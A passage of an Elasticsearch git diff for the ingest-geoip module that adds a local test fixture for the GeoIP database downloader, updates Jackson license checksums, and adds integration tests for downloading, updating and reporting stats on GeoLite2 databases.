api('com.maxmind.db:maxmind-db:1.3.1') testImplementation 'org.elasticsearch:geolite2-databases:20191119' + internalClusterTestImplementation project(path: ":modules:reindex") } restResources { restApi { - includeCore '_common', 'indices', 'index', 'cluster', 'nodes', 'get', 'ingest' + include '_common', 'indices', 'index', 'cluster', 'nodes', 'get', 'ingest' } } +def useFixture = providers.environmentVariable("geoip_use_service") + .forUseAtConfigurationTime() + .map { s -> Boolean.parseBoolean(s) == false } + .getOrElse(true) + +def fixtureAddress = { + assert useFixture: 'closure should not be used without a fixture' + int ephemeralPort = tasks.getByPath(":test:fixtures:geoip-fixture:postProcessFixture").ext."test.fixtures.geoip-fixture.tcp.80" + assert ephemeralPort > 0 + return "http://127.0.0.1:${ephemeralPort}/" +} + +if (useFixture) { + apply plugin: 'elasticsearch.test.fixtures' + testFixtures.useFixture(':test:fixtures:geoip-fixture', 'geoip-fixture') +} + +tasks.named("internalClusterTest").configure { + if (useFixture) { + nonInputProperties.systemProperty "geoip_endpoint", "${-> fixtureAddress()}" + } + systemProperty "ingest.geoip.downloader.enabled.default", "true" +} + tasks.register("copyDefaultGeoIp2DatabaseFiles", Copy) { from { zipTree(configurations.testCompileClasspath.files.find { it.name.contains('geolite2-databases') }) } into "${project.buildDir}/ingest-geoip" @@ -47,21 +73,21 @@ tasks.named("bundlePlugin").configure { tasks.named("thirdPartyAudit").configure { ignoreMissingClasses( - // geoip WebServiceClient needs apache http client, but we're not using WebServiceClient: - 'org.apache.http.HttpEntity', - 'org.apache.http.HttpHost', - 'org.apache.http.HttpResponse', - 'org.apache.http.StatusLine', - 'org.apache.http.auth.UsernamePasswordCredentials', - 'org.apache.http.client.config.RequestConfig$Builder', - 'org.apache.http.client.config.RequestConfig', - 'org.apache.http.client.methods.CloseableHttpResponse', - 'org.apache.http.client.methods.HttpGet', - 'org.apache.http.client.utils.URIBuilder', - 'org.apache.http.impl.auth.BasicScheme', - 'org.apache.http.impl.client.CloseableHttpClient', - 'org.apache.http.impl.client.HttpClientBuilder', - 'org.apache.http.util.EntityUtils' + // geoip WebServiceClient needs apache http client, but we're not using WebServiceClient: + 'org.apache.http.HttpEntity', + 'org.apache.http.HttpHost', + 'org.apache.http.HttpResponse', + 'org.apache.http.StatusLine', + 'org.apache.http.auth.UsernamePasswordCredentials', + 'org.apache.http.client.config.RequestConfig$Builder', + 'org.apache.http.client.config.RequestConfig', + 'org.apache.http.client.methods.CloseableHttpResponse', + 'org.apache.http.client.methods.HttpGet', + 'org.apache.http.client.utils.URIBuilder', + 'org.apache.http.impl.auth.BasicScheme', + 'org.apache.http.impl.client.CloseableHttpClient', + 'org.apache.http.impl.client.HttpClientBuilder', + 'org.apache.http.util.EntityUtils' ) } @@ -72,3 +98,7 @@ if (Os.isFamily(Os.FAMILY_WINDOWS)) { systemProperty 'es.geoip.load_db_on_heap', 'true' } } + +tasks.named("forbiddenPatterns").configure { + exclude '**/*.mmdb' +} diff --git a/modules/ingest-geoip/licenses/jackson-annotations-2.10.4.jar.sha1 b/modules/ingest-geoip/licenses/jackson-annotations-2.10.4.jar.sha1 deleted file mode 100644 index 0c548bb0e7711..0000000000000 --- a/modules/ingest-geoip/licenses/jackson-annotations-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -6ae6028aff033f194c9710ad87c224ccaadeed6c \ No newline at end of file diff --git a/modules/ingest-geoip/licenses/jackson-annotations-2.12.2.jar.sha1 b/modules/ingest-geoip/licenses/jackson-annotations-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..8e6b8be3e084d --- /dev/null +++ b/modules/ingest-geoip/licenses/jackson-annotations-2.12.2.jar.sha1 @@ -0,0 +1 @@ +0a770cc4c0a1fb0bfd8a150a6a0004e42bc99fca \ No newline at end of file diff --git a/modules/ingest-geoip/licenses/jackson-databind-2.10.4.jar.sha1 b/modules/ingest-geoip/licenses/jackson-databind-2.10.4.jar.sha1 deleted file mode 100644 index 27d5a72cd27af..0000000000000 --- a/modules/ingest-geoip/licenses/jackson-databind-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -76e9152e93d4cf052f93a64596f633ba5b1c8ed9 \ No newline at end of file diff --git a/modules/ingest-geoip/licenses/jackson-databind-2.12.2.jar.sha1 b/modules/ingest-geoip/licenses/jackson-databind-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..8e574b75a883f --- /dev/null +++ b/modules/ingest-geoip/licenses/jackson-databind-2.12.2.jar.sha1 @@ -0,0 +1 @@ +5f9d79e09ebf5d54a46e9f4543924cf7ae7654e0 \ No newline at end of file diff --git a/modules/ingest-geoip/qa/build.gradle b/modules/ingest-geoip/qa/build.gradle new file mode 100644 index 0000000000000..e69de29bb2d1d diff --git a/modules/ingest-geoip/qa/file-based-update/build.gradle b/modules/ingest-geoip/qa/file-based-update/build.gradle new file mode 100644 index 0000000000000..507715e703b23 --- /dev/null +++ b/modules/ingest-geoip/qa/file-based-update/build.gradle @@ -0,0 +1,26 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +apply plugin: 'elasticsearch.standalone-rest-test' +apply plugin: 'elasticsearch.rest-test' + +testClusters.all { + testDistribution = 'DEFAULT' + setting 'resource.reload.interval.high', '100ms' + setting 'xpack.security.enabled', 'true' + user username: 'admin', password: 'admin-password', role: 'superuser' +} + +tasks.named("integTest").configure { + systemProperty 'tests.security.manager', 'false' // Allows the test the add databases to config directory. + nonInputProperties.systemProperty 'tests.config.dir', "${-> testClusters.integTest.singleNode().getConfigDir()}" +} + +tasks.named("forbiddenPatterns").configure { + exclude '**/*.mmdb' +} diff --git a/modules/ingest-geoip/qa/file-based-update/src/test/java/org/elasticsearch/ingest/geoip/UpdateDatabasesIT.java b/modules/ingest-geoip/qa/file-based-update/src/test/java/org/elasticsearch/ingest/geoip/UpdateDatabasesIT.java new file mode 100644 index 0000000000000..918266ff78df7 --- /dev/null +++ b/modules/ingest-geoip/qa/file-based-update/src/test/java/org/elasticsearch/ingest/geoip/UpdateDatabasesIT.java @@ -0,0 +1,67 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.ingest.geoip; + +import org.apache.http.util.EntityUtils; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Response; +import org.elasticsearch.common.io.PathUtils; +import org.elasticsearch.common.settings.SecureString; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.util.concurrent.ThreadContext; +import org.elasticsearch.common.xcontent.ObjectPath; +import org.elasticsearch.common.xcontent.XContentHelper; +import org.elasticsearch.common.xcontent.json.JsonXContent; +import org.elasticsearch.test.rest.ESRestTestCase; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Map; + +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.is; + +public class UpdateDatabasesIT extends ESRestTestCase { + + public void test() throws Exception { + String body = "{\"pipeline\":{\"processors\":[{\"geoip\":{\"field\":\"ip\"}}]}," + + "\"docs\":[{\"_index\":\"index\",\"_id\":\"id\",\"_source\":{\"ip\":\"89.160.20.128\"}}]}"; + Request simulatePipelineRequest = new Request("POST", "/_ingest/pipeline/_simulate"); + simulatePipelineRequest.setJsonEntity(body); + { + Map response = toMap(client().performRequest(simulatePipelineRequest)); + assertThat(ObjectPath.eval("docs.0.doc._source.geoip.city_name", response), equalTo("Tumba")); + } + + Path configPath = PathUtils.get(System.getProperty("tests.config.dir")); + assertThat(Files.exists(configPath), is(true)); + Path ingestGeoipDatabaseDir = configPath.resolve("ingest-geoip"); + Files.createDirectory(ingestGeoipDatabaseDir); + Files.copy(UpdateDatabasesIT.class.getResourceAsStream("/GeoLite2-City-Test.mmdb"), + ingestGeoipDatabaseDir.resolve("GeoLite2-City.mmdb")); + + assertBusy(() -> { + Map response = toMap(client().performRequest(simulatePipelineRequest)); + assertThat(ObjectPath.eval("docs.0.doc._source.geoip.city_name", response), equalTo("Linköping")); + }); + } + + private static Map toMap(Response response) throws IOException { + return XContentHelper.convertToMap(JsonXContent.jsonXContent, EntityUtils.toString(response.getEntity()), false); + } + + @Override + protected Settings restClientSettings() { + String token = basicAuthHeaderValue("admin", new SecureString("admin-password".toCharArray())); + return Settings.builder() + .put(ThreadContext.PREFIX + ".Authorization", token) + .build(); + } + +} diff --git a/modules/ingest-geoip/qa/file-based-update/src/test/resources/GeoLite2-City-Test.mmdb b/modules/ingest-geoip/qa/file-based-update/src/test/resources/GeoLite2-City-Test.mmdb new file mode 100644 index 0000000000000..0809201619b59 Binary files /dev/null and b/modules/ingest-geoip/qa/file-based-update/src/test/resources/GeoLite2-City-Test.mmdb differ diff --git a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/AbstractGeoIpIT.java b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/AbstractGeoIpIT.java new file mode 100644 index 0000000000000..72dac4ee2b299 --- /dev/null +++ b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/AbstractGeoIpIT.java @@ -0,0 +1,64 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.elasticsearch.common.settings.Setting; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.plugins.Plugin; +import org.elasticsearch.test.ESIntegTestCase; +import org.elasticsearch.test.StreamsUtils; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.UncheckedIOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.List; + +public abstract class AbstractGeoIpIT extends ESIntegTestCase { + @Override + protected Collection> nodePlugins() { + return Arrays.asList(IngestGeoIpPlugin.class, IngestGeoIpSettingsPlugin.class); + } + + @Override + protected Settings nodeSettings(final int nodeOrdinal, final Settings otherSettings) { + final Path databasePath = createTempDir(); + try { + Files.createDirectories(databasePath); + Files.copy( + new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/GeoLite2-City.mmdb")), + databasePath.resolve("GeoLite2-City.mmdb")); + Files.copy( + new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/GeoLite2-Country.mmdb")), + databasePath.resolve("GeoLite2-Country.mmdb")); + Files.copy( + new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/GeoLite2-ASN.mmdb")), + databasePath.resolve("GeoLite2-ASN.mmdb")); + } catch (final IOException e) { + throw new UncheckedIOException(e); + } + return Settings.builder() + .put("ingest.geoip.database_path", databasePath) + .put(GeoIpDownloaderTaskExecutor.ENABLED_SETTING.getKey(), false) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) + .build(); + } + + public static class IngestGeoIpSettingsPlugin extends Plugin { + + @Override + public List> getSettings() { + return Collections.singletonList(Setting.simpleString("ingest.geoip.database_path", Setting.Property.NodeScope)); + } + } +} diff --git a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderCliIT.java b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderCliIT.java new file mode 100644 index 0000000000000..28db1ef5cb699 --- /dev/null +++ b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderCliIT.java @@ -0,0 +1,27 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.elasticsearch.common.settings.Settings; + +public class GeoIpDownloaderCliIT extends GeoIpDownloaderIT { + + @Override + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + Settings.Builder settings = Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)); + if (ENDPOINT != null) { + settings.put(GeoIpDownloader.ENDPOINT_SETTING.getKey(), ENDPOINT + "cli/overview.json"); + } + return settings.build(); + } + + public void testUseGeoIpProcessorWithDownloadedDBs() { + assumeTrue("this test can't work with CLI (some expected files are missing)", false); + } +} diff --git a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderIT.java b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderIT.java new file mode 100644 index 0000000000000..cda786da1e1fc --- /dev/null +++ b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderIT.java @@ -0,0 +1,337 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import com.maxmind.geoip2.DatabaseReader; +import org.apache.lucene.search.TotalHits; +import org.elasticsearch.action.admin.cluster.settings.ClusterUpdateSettingsResponse; +import org.elasticsearch.action.ingest.SimulateDocumentBaseResult; +import org.elasticsearch.action.ingest.SimulatePipelineRequest; +import org.elasticsearch.action.ingest.SimulatePipelineResponse; +import org.elasticsearch.action.search.SearchResponse; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.common.xcontent.json.JsonXContent; +import org.elasticsearch.env.Environment; +import org.elasticsearch.index.query.BoolQueryBuilder; +import org.elasticsearch.index.query.MatchQueryBuilder; +import org.elasticsearch.index.query.RangeQueryBuilder; +import org.elasticsearch.index.reindex.ReindexPlugin; +import org.elasticsearch.persistent.PersistentTaskParams; +import org.elasticsearch.persistent.PersistentTasksCustomMetadata; +import org.elasticsearch.plugins.Plugin; +import org.elasticsearch.search.SearchHit; +import org.elasticsearch.search.sort.SortOrder; +import org.elasticsearch.test.junit.annotations.TestLogging; +import org.junit.After; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.Iterator; +import java.util.List; +import java.util.Set; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import java.util.stream.StreamSupport; +import java.util.zip.GZIPInputStream; + +import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked; +import static org.hamcrest.Matchers.containsInAnyOrder; +import static org.hamcrest.Matchers.empty; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.is; +import static org.hamcrest.Matchers.nullValue; + +public class GeoIpDownloaderIT extends AbstractGeoIpIT { + + protected static final String ENDPOINT = System.getProperty("geoip_endpoint"); + + @Override + protected Collection> nodePlugins() { + return Arrays.asList(ReindexPlugin.class, IngestGeoIpPlugin.class, GeoIpProcessorNonIngestNodeIT.IngestGeoIpSettingsPlugin.class); + } + + @Override + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + Settings.Builder settings = Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)); + if (ENDPOINT != null) { + settings.put(GeoIpDownloader.ENDPOINT_SETTING.getKey(), ENDPOINT); + } + return settings.build(); + } + + @After + public void disableDownloader() { + ClusterUpdateSettingsResponse settingsResponse = client().admin().cluster() + .prepareUpdateSettings() + .setPersistentSettings(Settings.builder().put(GeoIpDownloaderTaskExecutor.ENABLED_SETTING.getKey(), (String) null)) + .get(); + assertTrue(settingsResponse.isAcknowledged()); + } + + public void testGeoIpDatabasesDownload() throws Exception { + ClusterUpdateSettingsResponse settingsResponse = client().admin().cluster() + .prepareUpdateSettings() + .setPersistentSettings(Settings.builder().put(GeoIpDownloaderTaskExecutor.ENABLED_SETTING.getKey(), true)) + .get(); + assertTrue(settingsResponse.isAcknowledged()); + assertBusy(() -> { + PersistentTasksCustomMetadata.PersistentTask task = getTask(); + assertNotNull(task); + GeoIpTaskState state = (GeoIpTaskState) task.getState(); + assertNotNull(state); + assertEquals(Set.of("GeoLite2-ASN.mmdb", "GeoLite2-City.mmdb", "GeoLite2-Country.mmdb"), state.getDatabases().keySet()); + }, 2, TimeUnit.MINUTES); + + for (String id : List.of("GeoLite2-ASN.mmdb", "GeoLite2-City.mmdb", "GeoLite2-Country.mmdb")) { + assertBusy(() -> { + try { + GeoIpTaskState state = (GeoIpTaskState) getTask().getState(); + assertEquals(Set.of("GeoLite2-ASN.mmdb", "GeoLite2-City.mmdb", "GeoLite2-Country.mmdb"), state.getDatabases().keySet()); + GeoIpTaskState.Metadata metadata = state.get(id); + BoolQueryBuilder queryBuilder = new BoolQueryBuilder() + .filter(new MatchQueryBuilder("name", id)) + .filter(new RangeQueryBuilder("chunk") + .from(metadata.getFirstChunk()) + .to(metadata.getLastChunk(), true)); + int size = metadata.getLastChunk() - metadata.getFirstChunk() + 1; + SearchResponse res = client().prepareSearch(GeoIpDownloader.DATABASES_INDEX) + .setSize(size) + .setQuery(queryBuilder) + .addSort("chunk", SortOrder.ASC) + .get(); + TotalHits totalHits = res.getHits().getTotalHits(); + assertEquals(TotalHits.Relation.EQUAL_TO, totalHits.relation); + assertEquals(size, totalHits.value); + assertEquals(size, res.getHits().getHits().length); + + List data = new ArrayList<>(); + + for (SearchHit hit : res.getHits().getHits()) { + data.add((byte[]) hit.getSourceAsMap().get("data")); + } + + TarInputStream stream = new TarInputStream(new GZIPInputStream(new MultiByteArrayInputStream(data))); + TarInputStream.TarEntry entry; + while ((entry = stream.getNextEntry()) != null) { + if (entry.getName().endsWith(".mmdb")) { + break; + } + } + + Path tempFile = createTempFile(); + Files.copy(stream, tempFile, StandardCopyOption.REPLACE_EXISTING); + parseDatabase(tempFile); + } catch (Exception e) { + throw new AssertionError(e); + } + }); + } + } + + @TestLogging(value = "org.elasticsearch.ingest.geoip:TRACE", reason = "https://github.com/elastic/elasticsearch/issues/69972") + public void testUseGeoIpProcessorWithDownloadedDBs() throws Exception { + assumeTrue("only test with fixture to have stable results", ENDPOINT != null); + // setup: + BytesReference bytes; + try (XContentBuilder builder = JsonXContent.contentBuilder()) { + builder.startObject(); + { + builder.startArray("processors"); + { + builder.startObject(); + { + builder.startObject("geoip"); + { + builder.field("field", "ip"); + builder.field("target_field", "ip-city"); + builder.field("database_file", "GeoLite2-City.mmdb"); + } + builder.endObject(); + } + builder.endObject(); + builder.startObject(); + { + builder.startObject("geoip"); + { + builder.field("field", "ip"); + builder.field("target_field", "ip-country"); + builder.field("database_file", "GeoLite2-Country.mmdb"); + } + builder.endObject(); + } + builder.endObject(); + builder.startObject(); + { + builder.startObject("geoip"); + { + builder.field("field", "ip"); + builder.field("target_field", "ip-asn"); + builder.field("database_file", "GeoLite2-ASN.mmdb"); + } + builder.endObject(); + } + builder.endObject(); + } + builder.endArray(); + } + builder.endObject(); + bytes = BytesReference.bytes(builder); + } + assertAcked(client().admin().cluster().preparePutPipeline("_id", bytes, XContentType.JSON).get()); + + // verify before updating dbs + try (XContentBuilder builder = JsonXContent.contentBuilder()) { + builder.startObject(); + builder.startArray("docs"); + { + builder.startObject(); + builder.field("_index", "my-index"); + { + builder.startObject("_source"); + builder.field("ip", "89.160.20.128"); + builder.endObject(); + } + builder.endObject(); + } + builder.endArray(); + builder.endObject(); + bytes = BytesReference.bytes(builder); + } + SimulatePipelineRequest simulateRequest = new SimulatePipelineRequest(bytes, XContentType.JSON); + simulateRequest.setId("_id"); + { + SimulatePipelineResponse simulateResponse = client().admin().cluster().simulatePipeline(simulateRequest).actionGet(); + assertThat(simulateResponse.getPipelineId(), equalTo("_id")); + assertThat(simulateResponse.getResults().size(), equalTo(1)); + SimulateDocumentBaseResult result = (SimulateDocumentBaseResult) simulateResponse.getResults().get(0); + assertThat(result.getIngestDocument().getFieldValue("ip-city.city_name", String.class), equalTo("Tumba")); + assertThat(result.getIngestDocument().getFieldValue("ip-asn.organization_name", String.class), equalTo("Bredband2 AB")); + assertThat(result.getIngestDocument().getFieldValue("ip-country.country_name", String.class), equalTo("Sweden")); + } + + // Enable downloader: + Settings.Builder settings = Settings.builder().put(GeoIpDownloaderTaskExecutor.ENABLED_SETTING.getKey(), true); + assertAcked(client().admin().cluster().prepareUpdateSettings().setPersistentSettings(settings)); + + final Set ids = StreamSupport.stream(clusterService().state().nodes().getDataNodes().values().spliterator(), false) + .map(c -> c.value.getId()) + .collect(Collectors.toSet()); + // All nodes share the same geoip base dir in the shared tmp dir: + Path geoipBaseTmpDir = internalCluster().getDataNodeInstance(Environment.class).tmpFile().resolve("geoip-databases"); + assertThat(Files.exists(geoipBaseTmpDir), is(true)); + final List geoipTmpDirs; + try (Stream files = Files.list(geoipBaseTmpDir)) { + geoipTmpDirs = files.filter(path -> ids.contains(path.getFileName().toString())).collect(Collectors.toList()); + } + assertThat(geoipTmpDirs.size(), equalTo(internalCluster().numDataNodes())); + assertBusy(() -> { + for (Path geoipTmpDir : geoipTmpDirs) { + try (Stream list = Files.list(geoipTmpDir)) { + List files = list.map(Path::getFileName).map(Path::toString).collect(Collectors.toList()); + assertThat(files, containsInAnyOrder("GeoLite2-City.mmdb", "GeoLite2-Country.mmdb", "GeoLite2-ASN.mmdb", + "GeoLite2-City.mmdb_COPYRIGHT.txt", "GeoLite2-Country.mmdb_COPYRIGHT.txt", "GeoLite2-ASN.mmdb_COPYRIGHT.txt", + "GeoLite2-City.mmdb_LICENSE.txt", "GeoLite2-Country.mmdb_LICENSE.txt", "GeoLite2-ASN.mmdb_LICENSE.txt", + "GeoLite2-ASN.mmdb_README.txt")); + } + } + }); + + // Verify after updating dbs: + assertBusy(() -> { + SimulatePipelineResponse simulateResponse = client().admin().cluster().simulatePipeline(simulateRequest).actionGet(); + assertThat(simulateResponse.getPipelineId(), equalTo("_id")); + assertThat(simulateResponse.getResults().size(), equalTo(1)); + SimulateDocumentBaseResult result = (SimulateDocumentBaseResult) simulateResponse.getResults().get(0); + assertThat(result.getFailure(), nullValue()); + assertThat(result.getIngestDocument().getFieldValue("ip-city.city_name", String.class), equalTo("Linköping")); + assertThat(result.getIngestDocument().getFieldValue("ip-asn.organization_name", String.class), equalTo("Bredband2 AB")); + assertThat(result.getIngestDocument().getFieldValue("ip-country.country_name", String.class), equalTo("Sweden")); + }); + + // Disable downloader: + settings = Settings.builder().put(GeoIpDownloaderTaskExecutor.ENABLED_SETTING.getKey(), false); + assertAcked(client().admin().cluster().prepareUpdateSettings().setPersistentSettings(settings)); + + assertBusy(() -> { + for (Path geoipTmpDir : geoipTmpDirs) { + try (Stream list = Files.list(geoipTmpDir)) { + List files = list.map(Path::toString).filter(p -> p.endsWith(".mmdb")).collect(Collectors.toList()); + assertThat(files, empty()); + } + } + }); + } + + @SuppressForbidden(reason = "Maxmind API requires java.io.File") + private void parseDatabase(Path tempFile) throws IOException { + try (DatabaseReader databaseReader = new DatabaseReader.Builder(tempFile.toFile()).build()) { + assertNotNull(databaseReader.getMetadata()); + } + } + + private PersistentTasksCustomMetadata.PersistentTask getTask() { + return PersistentTasksCustomMetadata.getTaskWithId(clusterService().state(), GeoIpDownloader.GEOIP_DOWNLOADER); + } + + private static class MultiByteArrayInputStream extends InputStream { + + private final Iterator data; + private ByteArrayInputStream current; + + private MultiByteArrayInputStream(List data) { + this.data = data.iterator(); + } + + @Override + public int read() { + if (current == null) { + if (data.hasNext() == false) { + return -1; + } + + current = new ByteArrayInputStream(data.next()); + } + int read = current.read(); + if (read == -1) { + current = null; + return read(); + } + return read; + } + + @Override + public int read(byte[] b, int off, int len) throws IOException { + if (current == null) { + if (data.hasNext() == false) { + return -1; + } + + current = new ByteArrayInputStream(data.next()); + } + int read = current.read(b, off, len); + if (read == -1) { + current = null; + return read(b, off, len); + } + return read; + } + } +} diff --git a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderStatsIT.java b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderStatsIT.java new file mode 100644 index 0000000000000..c8abab64444ff --- /dev/null +++ b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderStatsIT.java @@ -0,0 +1,108 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.elasticsearch.action.admin.cluster.settings.ClusterUpdateSettingsResponse; +import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.xcontent.ToXContent; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentFactory; +import org.elasticsearch.common.xcontent.XContentHelper; +import org.elasticsearch.index.reindex.ReindexPlugin; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStatsAction; +import org.elasticsearch.plugins.Plugin; +import org.elasticsearch.test.ESIntegTestCase; +import org.elasticsearch.test.XContentTestUtils; +import org.junit.After; + +import java.io.IOException; +import java.util.Arrays; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +import static org.elasticsearch.common.xcontent.ToXContent.EMPTY_PARAMS; +import static org.hamcrest.Matchers.containsInAnyOrder; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.hasKey; +import static org.hamcrest.Matchers.hasSize; + +@ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, maxNumDataNodes = 1) +public class GeoIpDownloaderStatsIT extends AbstractGeoIpIT { + + private static final String ENDPOINT = System.getProperty("geoip_endpoint"); + + @Override + protected Collection> nodePlugins() { + return Arrays.asList(ReindexPlugin.class, IngestGeoIpPlugin.class, GeoIpProcessorNonIngestNodeIT.IngestGeoIpSettingsPlugin.class); + } + + @Override + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + Settings.Builder settings = Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)); + if (ENDPOINT != null) { + settings.put(GeoIpDownloader.ENDPOINT_SETTING.getKey(), ENDPOINT); + } + return settings.build(); + } + + @After + public void disableDownloader() { + ClusterUpdateSettingsResponse settingsResponse = client().admin().cluster() + .prepareUpdateSettings() + .setPersistentSettings(Settings.builder().put(GeoIpDownloaderTaskExecutor.ENABLED_SETTING.getKey(), (String) null)) + .get(); + assertTrue(settingsResponse.isAcknowledged()); + } + + public void testStats() throws Exception { + GeoIpDownloaderStatsAction.Request req = new GeoIpDownloaderStatsAction.Request(); + GeoIpDownloaderStatsAction.Response response = client().execute(GeoIpDownloaderStatsAction.INSTANCE, req).actionGet(); + XContentTestUtils.JsonMapView jsonMapView = new XContentTestUtils.JsonMapView(convertToMap(response)); + assertThat(jsonMapView.get("stats.successful_downloads"), equalTo(0)); + assertThat(jsonMapView.get("stats.failed_downloads"), equalTo(0)); + assertThat(jsonMapView.get("stats.skipped_updates"), equalTo(0)); + assertThat(jsonMapView.get("stats.databases_count"), equalTo(0)); + assertThat(jsonMapView.get("stats.total_download_time"), equalTo(0)); + assertEquals(0, jsonMapView.>get("nodes").size()); + + + ClusterUpdateSettingsResponse settingsResponse = client().admin().cluster() + .prepareUpdateSettings() + .setPersistentSettings(Settings.builder().put(GeoIpDownloaderTaskExecutor.ENABLED_SETTING.getKey(), true)) + .get(); + assertTrue(settingsResponse.isAcknowledged()); + + assertBusy(() -> { + GeoIpDownloaderStatsAction.Response res = client().execute(GeoIpDownloaderStatsAction.INSTANCE, req).actionGet(); + XContentTestUtils.JsonMapView view = new XContentTestUtils.JsonMapView(convertToMap(res)); + assertThat(view.get("stats.successful_downloads"), equalTo(3)); + assertThat(view.get("stats.failed_downloads"), equalTo(0)); + assertThat(view.get("stats.skipped_updates"), equalTo(0)); + assertThat(view.get("stats.databases_count"), equalTo(3)); + assertThat(view.get("stats.total_download_time"), greaterThan(0)); + Map>>> nodes = view.get("nodes"); + assertThat(nodes.values(), hasSize(greaterThan(0))); + for (Map>> value : nodes.values()) { + assertThat(value, hasKey("databases")); + assertThat(value.get("databases").stream().map(m -> m.get("name")).collect(Collectors.toSet()), + containsInAnyOrder("GeoLite2-City.mmdb", "GeoLite2-ASN.mmdb", "GeoLite2-Country.mmdb")); + } + }); + } + + public static Map convertToMap(ToXContent part) throws IOException { + XContentBuilder builder = XContentFactory.jsonBuilder(); + part.toXContent(builder, EMPTY_PARAMS); + return XContentHelper.convertToMap(BytesReference.bytes(builder), false, builder.contentType()).v2(); + } +} diff --git a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpProcessorNonIngestNodeIT.java 